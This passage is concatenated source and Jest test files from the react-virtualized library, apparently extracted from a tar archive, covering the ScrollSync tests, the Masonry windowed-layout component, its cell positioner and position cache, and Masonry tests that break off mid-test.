import { render } from '../TestUtils';
import ScrollSync from './ScrollSync';

function ChildComponent(_ref) {
  var clientHeight = _ref.clientHeight,
      clientWidth = _ref.clientWidth,
      scrollHeight = _ref.scrollHeight,
      scrollLeft = _ref.scrollLeft,
      scrollTop = _ref.scrollTop,
      scrollWidth = _ref.scrollWidth;
  return React.createElement("div", null, "clientHeight:".concat(clientHeight), "clientWidth:".concat(clientWidth), "scrollHeight:".concat(scrollHeight), "scrollLeft:".concat(scrollLeft), "scrollTop:".concat(scrollTop), "scrollWidth:".concat(scrollWidth));
}

describe('ScrollSync', function () {
  it('should pass through an initial value of 0 for :scrollLeft and :scrollTop', function () {
    var component = render(React.createElement(ScrollSync, null, function (_ref2) {
      var clientHeight = _ref2.clientHeight,
          clientWidth = _ref2.clientWidth,
          scrollHeight = _ref2.scrollHeight,
          scrollLeft = _ref2.scrollLeft,
          scrollTop = _ref2.scrollTop,
          scrollWidth = _ref2.scrollWidth;
      return React.createElement(ChildComponent, {
        clientHeight: clientHeight,
        clientWidth: clientWidth,
        scrollHeight: scrollHeight,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        scrollWidth: scrollWidth
      });
    }));
    expect(findDOMNode(component).textContent).toContain('clientHeight:0');
    expect(findDOMNode(component).textContent).toContain('clientWidth:0');
    expect(findDOMNode(component).textContent).toContain('scrollHeight:0');
    expect(findDOMNode(component).textContent).toContain('scrollLeft:0');
    expect(findDOMNode(component).textContent).toContain('scrollTop:0');
    expect(findDOMNode(component).textContent).toContain('scrollWidth:0');
  });
  it('should update :scrollLeft and :scrollTop when :onScroll is called', function () {
    var onScroll;
    var component = render(React.createElement(ScrollSync, null, function (params) {
      onScroll = params.onScroll;
      return React.createElement(ChildComponent, params);
    }));
    onScroll({
      clientHeight: 400,
      clientWidth: 200,
      scrollHeight: 1000,
      scrollLeft: 50,
      scrollTop: 100,
      scrollWidth: 500
    });
    expect(findDOMNode(component).textContent).toContain('clientHeight:400');
    expect(findDOMNode(component).textContent).toContain('clientWidth:200');
    expect(findDOMNode(component).textContent).toContain('scrollHeight:1000');
    expect(findDOMNode(component).textContent).toContain('scrollLeft:50');
    expect(findDOMNode(component).textContent).toContain('scrollTop:100');
    expect(findDOMNode(component).textContent).toContain('scrollWidth:500');
  });
});es/Masonry/Masonry.js000064400000045324151677406000010607 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import clsx from 'clsx';
import * as React from 'react';
import { polyfill } from 'react-lifecycles-compat';
import PositionCache from './PositionCache';
import { requestAnimationTimeout, cancelAnimationTimeout } from '../utils/requestAnimationTimeout';
var emptyObject = {};
/**
 * Specifies the number of miliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */

export var DEFAULT_SCROLLING_RESET_TIME_INTERVAL = 150;
/**
 * This component efficiently displays arbitrarily positioned cells using windowing techniques.
 * Cell position is determined by an injected `cellPositioner` property.
 * Windowing is vertical; this component does not support horizontal scrolling.
 *
 * Rendering occurs in two phases:
 * 1) First pass uses estimated cell sizes (provided by the cache) to determine how many cells to measure in a batch.
 *    Batch size is chosen using a fast, naive layout algorithm that stacks images in order until the viewport has been filled.
 *    After measurement is complete (componentDidMount or componentDidUpdate) this component evaluates positioned cells
 *    in order to determine if another measurement pass is required (eg if actual cell sizes were less than estimated sizes).
 *    All measurements are permanently cached (keyed by `keyMapper`) for performance purposes.
 * 2) Second pass uses the external `cellPositioner` to layout cells.
 *    At this time the positioner has access to cached size measurements for all cells.
 *    The positions it returns are cached by Masonry for fast access later.
 *    Phase one is repeated if the user scrolls beyond the current layout's bounds.
 *    If the layout is invalidated due to eg a resize, cached positions can be cleared using `recomputeCellPositions()`.
 *
 * Animation constraints:
 *   Simple animations are supported (eg translate/slide into place on initial reveal).
 *   More complex animations are not (eg flying from one position to another on resize).
 *
 * Layout constraints:
 *   This component supports multi-column layout.
 *   The height of each item may vary.
 *   The width of each item must not exceed the width of the column it is "in".
 *   The left position of all items within a column must align.
 *   (Items may not span multiple columns.)
 */

var Masonry = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(Masonry, _React$PureComponent);

  function Masonry() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, Masonry);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(Masonry)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "state", {
      isScrolling: false,
      scrollTop: 0
    });

    _defineProperty(_assertThisInitialized(_this), "_debounceResetIsScrollingId", void 0);

    _defineProperty(_assertThisInitialized(_this), "_invalidateOnUpdateStartIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_invalidateOnUpdateStopIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_positionCache", new PositionCache());

    _defineProperty(_assertThisInitialized(_this), "_startIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_startIndexMemoized", null);

    _defineProperty(_assertThisInitialized(_this), "_stopIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_stopIndexMemoized", null);

    _defineProperty(_assertThisInitialized(_this), "_debounceResetIsScrollingCallback", function () {
      _this.setState({
        isScrolling: false
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_setScrollingContainerRef", function (ref) {
      _this._scrollingContainer = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_onScroll", function (event) {
      var height = _this.props.height;
      var eventScrollTop = event.currentTarget.scrollTop; // When this component is shrunk drastically, React dispatches a series of back-to-back scroll events,
      // Gradually converging on a scrollTop that is within the bounds of the new, smaller height.
      // This causes a series of rapid renders that is slow for long lists.
      // We can avoid that by doing some simple bounds checking to ensure that scroll offsets never exceed their bounds.

      var scrollTop = Math.min(Math.max(0, _this._getEstimatedTotalHeight() - height), eventScrollTop); // On iOS, we can arrive at negative offsets by swiping past the start or end.
      // Avoid re-rendering in this case as it can cause problems; see #532 for more.

      if (eventScrollTop !== scrollTop) {
        return;
      } // Prevent pointer events from interrupting a smooth scroll


      _this._debounceResetIsScrolling(); // Certain devices (like Apple touchpad) rapid-fire duplicate events.
      // Don't force a re-render if this is the case.
      // The mouse may move faster then the animation frame does.
      // Use requestAnimationFrame to avoid over-updating.


      if (_this.state.scrollTop !== scrollTop) {
        _this.setState({
          isScrolling: true,
          scrollTop: scrollTop
        });
      }
    });

    return _this;
  }

  _createClass(Masonry, [{
    key: "clearCellPositions",
    value: function clearCellPositions() {
      this._positionCache = new PositionCache();
      this.forceUpdate();
    } // HACK This method signature was intended for Grid

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref) {
      var index = _ref.rowIndex;

      if (this._invalidateOnUpdateStartIndex === null) {
        this._invalidateOnUpdateStartIndex = index;
        this._invalidateOnUpdateStopIndex = index;
      } else {
        this._invalidateOnUpdateStartIndex = Math.min(this._invalidateOnUpdateStartIndex, index);
        this._invalidateOnUpdateStopIndex = Math.max(this._invalidateOnUpdateStopIndex, index);
      }
    }
  }, {
    key: "recomputeCellPositions",
    value: function recomputeCellPositions() {
      var stopIndex = this._positionCache.count - 1;
      this._positionCache = new PositionCache();

      this._populatePositionCache(0, stopIndex);

      this.forceUpdate();
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      this._checkInvalidateOnUpdate();

      this._invokeOnScrollCallback();

      this._invokeOnCellsRenderedCallback();
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      this._checkInvalidateOnUpdate();

      this._invokeOnScrollCallback();

      this._invokeOnCellsRenderedCallback();

      if (this.props.scrollTop !== prevProps.scrollTop) {
        this._debounceResetIsScrolling();
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      if (this._debounceResetIsScrollingId) {
        cancelAnimationTimeout(this._debounceResetIsScrollingId);
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$props = this.props,
          autoHeight = _this$props.autoHeight,
          cellCount = _this$props.cellCount,
          cellMeasurerCache = _this$props.cellMeasurerCache,
          cellRenderer = _this$props.cellRenderer,
          className = _this$props.className,
          height = _this$props.height,
          id = _this$props.id,
          keyMapper = _this$props.keyMapper,
          overscanByPixels = _this$props.overscanByPixels,
          role = _this$props.role,
          style = _this$props.style,
          tabIndex = _this$props.tabIndex,
          width = _this$props.width,
          rowDirection = _this$props.rowDirection;
      var _this$state = this.state,
          isScrolling = _this$state.isScrolling,
          scrollTop = _this$state.scrollTop;
      var children = [];

      var estimateTotalHeight = this._getEstimatedTotalHeight();

      var shortestColumnSize = this._positionCache.shortestColumnSize;
      var measuredCellCount = this._positionCache.count;
      var startIndex = 0;
      var stopIndex;

      this._positionCache.range(Math.max(0, scrollTop - overscanByPixels), height + overscanByPixels * 2, function (index, left, top) {
        var _style;

        if (typeof stopIndex === 'undefined') {
          startIndex = index;
          stopIndex = index;
        } else {
          startIndex = Math.min(startIndex, index);
          stopIndex = Math.max(stopIndex, index);
        }

        children.push(cellRenderer({
          index: index,
          isScrolling: isScrolling,
          key: keyMapper(index),
          parent: _this2,
          style: (_style = {
            height: cellMeasurerCache.getHeight(index)
          }, _defineProperty(_style, rowDirection === 'ltr' ? 'left' : 'right', left), _defineProperty(_style, "position", 'absolute'), _defineProperty(_style, "top", top), _defineProperty(_style, "width", cellMeasurerCache.getWidth(index)), _style)
        }));
      }); // We need to measure additional cells for this layout


      if (shortestColumnSize < scrollTop + height + overscanByPixels && measuredCellCount < cellCount) {
        var batchSize = Math.min(cellCount - measuredCellCount, Math.ceil((scrollTop + height + overscanByPixels - shortestColumnSize) / cellMeasurerCache.defaultHeight * width / cellMeasurerCache.defaultWidth));

        for (var _index = measuredCellCount; _index < measuredCellCount + batchSize; _index++) {
          stopIndex = _index;
          children.push(cellRenderer({
            index: _index,
            isScrolling: isScrolling,
            key: keyMapper(_index),
            parent: this,
            style: {
              width: cellMeasurerCache.getWidth(_index)
            }
          }));
        }
      }

      this._startIndex = startIndex;
      this._stopIndex = stopIndex;
      return React.createElement("div", {
        ref: this._setScrollingContainerRef,
        "aria-label": this.props['aria-label'],
        className: clsx('ReactVirtualized__Masonry', className),
        id: id,
        onScroll: this._onScroll,
        role: role,
        style: _objectSpread({
          boxSizing: 'border-box',
          direction: 'ltr',
          height: autoHeight ? 'auto' : height,
          overflowX: 'hidden',
          overflowY: estimateTotalHeight < height ? 'hidden' : 'auto',
          position: 'relative',
          width: width,
          WebkitOverflowScrolling: 'touch',
          willChange: 'transform'
        }, style),
        tabIndex: tabIndex
      }, React.createElement("div", {
        className: "ReactVirtualized__Masonry__innerScrollContainer",
        style: {
          width: '100%',
          height: estimateTotalHeight,
          maxWidth: '100%',
          maxHeight: estimateTotalHeight,
          overflow: 'hidden',
          pointerEvents: isScrolling ? 'none' : '',
          position: 'relative'
        }
      }, children));
    }
  }, {
    key: "_checkInvalidateOnUpdate",
    value: function _checkInvalidateOnUpdate() {
      if (typeof this._invalidateOnUpdateStartIndex === 'number') {
        var startIndex = this._invalidateOnUpdateStartIndex;
        var stopIndex = this._invalidateOnUpdateStopIndex;
        this._invalidateOnUpdateStartIndex = null;
        this._invalidateOnUpdateStopIndex = null; // Query external layout logic for position of newly-measured cells

        this._populatePositionCache(startIndex, stopIndex);

        this.forceUpdate();
      }
    }
  }, {
    key: "_debounceResetIsScrolling",
    value: function _debounceResetIsScrolling() {
      var scrollingResetTimeInterval = this.props.scrollingResetTimeInterval;

      if (this._debounceResetIsScrollingId) {
        cancelAnimationTimeout(this._debounceResetIsScrollingId);
      }

      this._debounceResetIsScrollingId = requestAnimationTimeout(this._debounceResetIsScrollingCallback, scrollingResetTimeInterval);
    }
  }, {
    key: "_getEstimatedTotalHeight",
    value: function _getEstimatedTotalHeight() {
      var _this$props2 = this.props,
          cellCount = _this$props2.cellCount,
          cellMeasurerCache = _this$props2.cellMeasurerCache,
          width = _this$props2.width;
      var estimatedColumnCount = Math.max(1, Math.floor(width / cellMeasurerCache.defaultWidth));
      return this._positionCache.estimateTotalHeight(cellCount, estimatedColumnCount, cellMeasurerCache.defaultHeight);
    }
  }, {
    key: "_invokeOnScrollCallback",
    value: function _invokeOnScrollCallback() {
      var _this$props3 = this.props,
          height = _this$props3.height,
          onScroll = _this$props3.onScroll;
      var scrollTop = this.state.scrollTop;

      if (this._onScrollMemoized !== scrollTop) {
        onScroll({
          clientHeight: height,
          scrollHeight: this._getEstimatedTotalHeight(),
          scrollTop: scrollTop
        });
        this._onScrollMemoized = scrollTop;
      }
    }
  }, {
    key: "_invokeOnCellsRenderedCallback",
    value: function _invokeOnCellsRenderedCallback() {
      if (this._startIndexMemoized !== this._startIndex || this._stopIndexMemoized !== this._stopIndex) {
        var onCellsRendered = this.props.onCellsRendered;
        onCellsRendered({
          startIndex: this._startIndex,
          stopIndex: this._stopIndex
        });
        this._startIndexMemoized = this._startIndex;
        this._stopIndexMemoized = this._stopIndex;
      }
    }
  }, {
    key: "_populatePositionCache",
    value: function _populatePositionCache(startIndex, stopIndex) {
      var _this$props4 = this.props,
          cellMeasurerCache = _this$props4.cellMeasurerCache,
          cellPositioner = _this$props4.cellPositioner;

      for (var _index2 = startIndex; _index2 <= stopIndex; _index2++) {
        var _cellPositioner = cellPositioner(_index2),
            left = _cellPositioner.left,
            top = _cellPositioner.top;

        this._positionCache.setPosition(_index2, left, top, cellMeasurerCache.getHeight(_index2));
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.scrollTop !== undefined && prevState.scrollTop !== nextProps.scrollTop) {
        return {
          isScrolling: true,
          scrollTop: nextProps.scrollTop
        };
      }

      return null;
    }
  }]);

  return Masonry;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "autoHeight": PropTypes.bool.isRequired,
  "cellCount": PropTypes.number.isRequired,
  "cellMeasurerCache": function cellMeasurerCache() {
    return (typeof CellMeasurerCache === "function" ? PropTypes.instanceOf(CellMeasurerCache).isRequired : PropTypes.any.isRequired).apply(this, arguments);
  },
  "cellPositioner": function cellPositioner() {
    return (typeof Positioner === "function" ? PropTypes.instanceOf(Positioner).isRequired : PropTypes.any.isRequired).apply(this, arguments);
  },
  "cellRenderer": function cellRenderer() {
    return (typeof CellRenderer === "function" ? PropTypes.instanceOf(CellRenderer).isRequired : PropTypes.any.isRequired).apply(this, arguments);
  },
  "className": PropTypes.string,
  "height": PropTypes.number.isRequired,
  "id": PropTypes.string,
  "keyMapper": function keyMapper() {
    return (typeof KeyMapper === "function" ? PropTypes.instanceOf(KeyMapper).isRequired : PropTypes.any.isRequired).apply(this, arguments);
  },
  "onCellsRendered": function onCellsRendered() {
    return (typeof OnCellsRenderedCallback === "function" ? PropTypes.instanceOf(OnCellsRenderedCallback) : PropTypes.any).apply(this, arguments);
  },
  "onScroll": function onScroll() {
    return (typeof OnScrollCallback === "function" ? PropTypes.instanceOf(OnScrollCallback) : PropTypes.any).apply(this, arguments);
  },
  "overscanByPixels": PropTypes.number.isRequired,
  "role": PropTypes.string.isRequired,
  "scrollingResetTimeInterval": PropTypes.number.isRequired,
  "style": function style(props, propName, componentName) {
    if (!Object.prototype.hasOwnProperty.call(props, propName)) {
      throw new Error("Prop `".concat(propName, "` has type 'any' or 'mixed', but was not provided to `").concat(componentName, "`. Pass undefined or any other value."));
    }
  },
  "tabIndex": PropTypes.number.isRequired,
  "width": PropTypes.number.isRequired,
  "rowDirection": PropTypes.string.isRequired,
  "scrollTop": PropTypes.number
}), _temp);

_defineProperty(Masonry, "defaultProps", {
  autoHeight: false,
  keyMapper: identity,
  onCellsRendered: noop,
  onScroll: noop,
  overscanByPixels: 20,
  role: 'grid',
  scrollingResetTimeInterval: DEFAULT_SCROLLING_RESET_TIME_INTERVAL,
  style: emptyObject,
  tabIndex: 0,
  rowDirection: 'ltr'
});

function identity(value) {
  return value;
}

function noop() {}

var bpfrpt_proptype_CellMeasurerCache = process.env.NODE_ENV === 'production' ? null : {
  "defaultHeight": PropTypes.number.isRequired,
  "defaultWidth": PropTypes.number.isRequired,
  "getHeight": PropTypes.func.isRequired,
  "getWidth": PropTypes.func.isRequired
};
polyfill(Masonry);
export default Masonry;
var bpfrpt_proptype_Positioner = process.env.NODE_ENV === 'production' ? null : PropTypes.func;
import { bpfrpt_proptype_AnimationTimeoutId } from "../utils/requestAnimationTimeout";
import PropTypes from "prop-types";
export { bpfrpt_proptype_CellMeasurerCache };
export { bpfrpt_proptype_Positioner };es/Masonry/createCellPositioner.js000064400000002620151677406000013266 0ustar00export default function createCellPositioner(_ref) {
  var cellMeasurerCache = _ref.cellMeasurerCache,
      columnCount = _ref.columnCount,
      columnWidth = _ref.columnWidth,
      _ref$spacer = _ref.spacer,
      spacer = _ref$spacer === void 0 ? 0 : _ref$spacer;
  var columnHeights;
  initOrResetDerivedValues();

  function cellPositioner(index) {
    // Find the shortest column and use it.
    var columnIndex = 0;

    for (var i = 1; i < columnHeights.length; i++) {
      if (columnHeights[i] < columnHeights[columnIndex]) {
        columnIndex = i;
      }
    }

    var left = columnIndex * (columnWidth + spacer);
    var top = columnHeights[columnIndex] || 0;
    columnHeights[columnIndex] = top + cellMeasurerCache.getHeight(index) + spacer;
    return {
      left: left,
      top: top
    };
  }

  function initOrResetDerivedValues() {
    // Track the height of each column.
    // Layout algorithm below always inserts into the shortest column.
    columnHeights = [];

    for (var i = 0; i < columnCount; i++) {
      columnHeights[i] = 0;
    }
  }

  function reset(params) {
    columnCount = params.columnCount;
    columnWidth = params.columnWidth;
    spacer = params.spacer;
    initOrResetDerivedValues();
  }

  cellPositioner.reset = reset;
  return cellPositioner;
}
import { bpfrpt_proptype_CellMeasurerCache } from "./Masonry";
import { bpfrpt_proptype_Positioner } from "./Masonry";es/Masonry/PositionCache.js000064400000005373151677406000011707 0ustar00import _slicedToArray from "@babel/runtime/helpers/slicedToArray";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import createIntervalTree from '../vendor/intervalTree';

// Position cache requirements:
//   O(log(n)) lookup of cells to render for a given viewport size
//   O(1) lookup of shortest measured column (so we know when to enter phase 1)
var PositionCache =
/*#__PURE__*/
function () {
  function PositionCache() {
    _classCallCheck(this, PositionCache);

    _defineProperty(this, "_columnSizeMap", {});

    _defineProperty(this, "_intervalTree", createIntervalTree());

    _defineProperty(this, "_leftMap", {});
  }

  _createClass(PositionCache, [{
    key: "estimateTotalHeight",
    value: function estimateTotalHeight(cellCount, columnCount, defaultCellHeight) {
      var unmeasuredCellCount = cellCount - this.count;
      return this.tallestColumnSize + Math.ceil(unmeasuredCellCount / columnCount) * defaultCellHeight;
    } // Render all cells visible within the viewport range defined.

  }, {
    key: "range",
    value: function range(scrollTop, clientHeight, renderCallback) {
      var _this = this;

      this._intervalTree.queryInterval(scrollTop, scrollTop + clientHeight, function (_ref) {
        var _ref2 = _slicedToArray(_ref, 3),
            top = _ref2[0],
            _ = _ref2[1],
            index = _ref2[2];

        return renderCallback(index, _this._leftMap[index], top);
      });
    }
  }, {
    key: "setPosition",
    value: function setPosition(index, left, top, height) {
      this._intervalTree.insert([top, top + height, index]);

      this._leftMap[index] = left;
      var columnSizeMap = this._columnSizeMap;
      var columnHeight = columnSizeMap[left];

      if (columnHeight === undefined) {
        columnSizeMap[left] = top + height;
      } else {
        columnSizeMap[left] = Math.max(columnHeight, top + height);
      }
    }
  }, {
    key: "count",
    get: function get() {
      return this._intervalTree.count;
    }
  }, {
    key: "shortestColumnSize",
    get: function get() {
      var columnSizeMap = this._columnSizeMap;
      var size = 0;

      for (var i in columnSizeMap) {
        var height = columnSizeMap[i];
        size = size === 0 ? height : Math.min(size, height);
      }

      return size;
    }
  }, {
    key: "tallestColumnSize",
    get: function get() {
      var columnSizeMap = this._columnSizeMap;
      var size = 0;

      for (var i in columnSizeMap) {
        var height = columnSizeMap[i];
        size = Math.max(size, height);
      }

      return size;
    }
  }]);

  return PositionCache;
}();

export { PositionCache as default };es/Masonry/index.js000064400000000235151677406000010256 0ustar00import createCellPositioner from './createCellPositioner';
import Masonry from './Masonry';
export default Masonry;
export { createCellPositioner, Masonry };es/Masonry/Masonry.jest.js000064400000042211151677406000011543 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { Simulate } from 'react-dom/test-utils';
import { render } from '../TestUtils';
import createCellPositionerUtil from './createCellPositioner';
import Masonry from './Masonry';
import { CellMeasurer, CellMeasurerCache } from '../CellMeasurer';
var ALTERNATING_CELL_HEIGHTS = [100, 50, 100, 150];
var CELL_SIZE_MULTIPLIER = 50;
var COLUMN_COUNT = 3;

function assertVisibleCells(rendered, text) {
  expect(Array.from(rendered.querySelectorAll('.cell')).map(function (node) {
    return node.textContent;
  }).sort().join(',')).toEqual(text);
}

function createCellMeasurerCache() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  return new CellMeasurerCache(_objectSpread({
    defaultHeight: CELL_SIZE_MULTIPLIER,
    defaultWidth: CELL_SIZE_MULTIPLIER,
    fixedWidth: true,
    keyMapper: function keyMapper(index) {
      return index;
    }
  }, props));
}

function createCellPositioner(cache) {
  return createCellPositionerUtil({
    cellMeasurerCache: cache,
    columnCount: COLUMN_COUNT,
    columnWidth: CELL_SIZE_MULTIPLIER
  });
}

function createCellRenderer(cache, renderCallback) {
  renderCallback = typeof renderCallback === 'function' ? renderCallback : function (index) {
    return index;
  };
  return function cellRenderer(_ref) {
    var index = _ref.index,
        isScrolling = _ref.isScrolling,
        key = _ref.key,
        parent = _ref.parent,
        style = _ref.style;
    var height = ALTERNATING_CELL_HEIGHTS[index % ALTERNATING_CELL_HEIGHTS.length];
    var width = CELL_SIZE_MULTIPLIER;
    return React.createElement(CellMeasurer, {
      cache: cache,
      index: index,
      key: key,
      parent: parent
    }, React.createElement("div", {
      className: "cell",
      ref: function ref(_ref2) {
        if (_ref2) {
          // Accounts for the fact that JSDom doesn't support measurements.
          Object.defineProperty(_ref2, 'offsetHeight', {
            configurable: true,
            value: height
          });
          Object.defineProperty(_ref2, 'offsetWidth', {
            configurable: true,
            value: width
          });
        }
      },
      style: _objectSpread({}, style, {
        minHeight: height,
        minWidth: width
      })
    }, renderCallback(index, {
      index: index,
      isScrolling: isScrolling,
      key: key,
      parent: parent,
      style: style
    })));
  };
}

function getMarkup() {
  var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  var cellMeasurerCache = props.cellMeasurerCache || createCellMeasurerCache();
  return React.createElement(Masonry, _extends({
    cellCount: 1000,
    cellMeasurerCache: cellMeasurerCache,
    cellPositioner: createCellPositioner(cellMeasurerCache),
    cellRenderer: createCellRenderer(cellMeasurerCache),
    columnCount: COLUMN_COUNT,
    height: CELL_SIZE_MULTIPLIER * 2,
    overscanByPixels: CELL_SIZE_MULTIPLIER,
    width: CELL_SIZE_MULTIPLIER * COLUMN_COUNT
  }, props));
}

function simulateScroll(masonry) {
  var scrollTop = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
  var target = {
    scrollTop: scrollTop
  };
  masonry._scrollingContainer = target; // HACK to work around _onScroll target check

  var masonryNode = findDOMNode(masonry);
  masonryNode.scrollTop = scrollTop;
  Simulate.scroll(masonryNode);
}

describe('Masonry', function () {
  beforeEach(render.unmount);
  describe('layout and measuring', function () {
    it('should measure only enough cells required for initial render', function () {
      // avg cell size: CELL_SIZE_MULTIPLIER
      // width: CELL_SIZE_MULTIPLIER * 3
      // height: CELL_SIZE_MULTIPLIER * 2
      // overcsan by: CELL_SIZE_MULTIPLIER
      // Expected to measure 9 cells
      var cellMeasurerCache = createCellMeasurerCache();
      render(getMarkup({
        cellMeasurerCache: cellMeasurerCache
      }));

      for (var i = 0; i <= 8; i++) {
        expect(cellMeasurerCache.has(i)).toBe(true);
      }

      expect(cellMeasurerCache.has(9)).toBe(false);
    });
    it('should not measure cells while scrolling until they are needed', function () {
      // Expected to measure 9 cells
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = findDOMNode(render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      })));
      renderCallback.mockClear(); // Scroll a little bit, but not so much to require re-measuring

      simulateScroll(rendered, 51); // Verify that render was only called enough times to fill view port (no extra for measuring)

      expect(renderCallback).toHaveBeenCalledTimes(9);
    });
    it('should measure additional cells on scroll when it runs out of measured cells', function () {
      var cellMeasurerCache = createCellMeasurerCache();
      var renderCallback = jest.fn().mockImplementation(function (index) {
        return index;
      });
      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = findDOMNode(render(getMarkup({
        cellRenderer: cellRenderer,
        cellMeasurerCache: cellMeasurerCache
      })));
      expect(cellMeasurerCache.has(9)).toBe(false);
      renderCallback.mockClear();
      simulateScroll(rendered, 101);
      expect(cellMeasurerCache.has(9)).toBe(true);
      expect(cellMeasurerCache.has(10)).toBe(false);
    }); // Masonry used to do a render pass for only unmeasured cells,
    // But this resulting in removing (and later re-adding) measured cells from the DOM,
    // Which was bad for performance. See GitHub issue #875

    it('should not remove previously-measured cells when measuring new ones', function () {
      var log = [];
      var cellMeasurerCache = createCellMeasurerCache();

      var renderCallback = function renderCallback(index) {
        log.push(index);
      };

      var cellRenderer = createCellRenderer(cellMeasurerCache, renderCallback);
      var rendered = findDOMNode(render(getMarkup({
        cellMeasurerCache: cellMeasurerCache,
        cellRenderer: cellRenderer
      }))); // Expected to have rendered twice:
      // 1st time to measure 9 cells (b'c of esimated size)
      // 2nd time to render and position 9 cells (b'c of actual size)

      expect(log).toHaveLength(18);
      log.splice(0);
      simulateScroll(rendered, 101); // Expected to have rendered twice:
      // 1st time to measure additional cells (based on estimated size)
      // 2nd time to render and position with new cells
      // The 1st render should also have included the pre-measured cells,
      // To prevent them from being removed, recreated, and re-added to the DOM.

      expect(log).toHaveLength(18);
    });
    it('should only render enough cells to fill the viewport', function () {
      var rendered = findDOMNode(render(getMarkup({
        overscanByPixels: 0
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5');
      simulateScroll(rendered, 51);
      assertVisibleCells(rendered, '0,2,3,4,5,6');
      simulateScroll(rendered, 101);
      assertVisibleCells(rendered, '3,4,5,6,7,8');
      simulateScroll(rendered, 1001);
      assertVisibleCells(rendered, '30,31,32,33,34,35');
    });
    it('should only render enough cells to fill the viewport plus overscanByPixels', function () {
      var rendered = findDOMNode(render(getMarkup({
        overscanByPixels: 100
      })));
      assertVisibleCells(rendered, '0,1,10,11,2,3,4,5,6,7,8,9');
      simulateScroll(rendered, 51);
      assertVisibleCells(rendered, '0,1,10,11,2,3,4,5,6,7,8,9');
      simulateScroll(rendered, 101);
      assertVisibleCells(rendered, '0,1,10,11,2,3,4,5,6,7,8,9');
      simulateScroll(rendered, 1001);
      assertVisibleCells(rendered, '26,27,28,29,30,31,32,33,34,35,36,37');
    });
    it('should still render correctly when autoHeight is true (eg WindowScroller)', function () {
      // Share instances between renders to avoid resetting state in ways we don't intend
      var cellMeasurerCache = createCellMeasurerCache();
      var cellPositioner = createCellPositioner(cellMeasurerCache);
      var rendered = findDOMNode(render(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner
      })));
      assertVisibleCells(rendered, '0,1,2,3,4,5,6,7,8');
      rendered = findDOMNode(render(getMarkup({
        autoHeight: true,
        cellMeasurerCache: cellMeasurerCache,
        cellPositioner: cellPositioner,
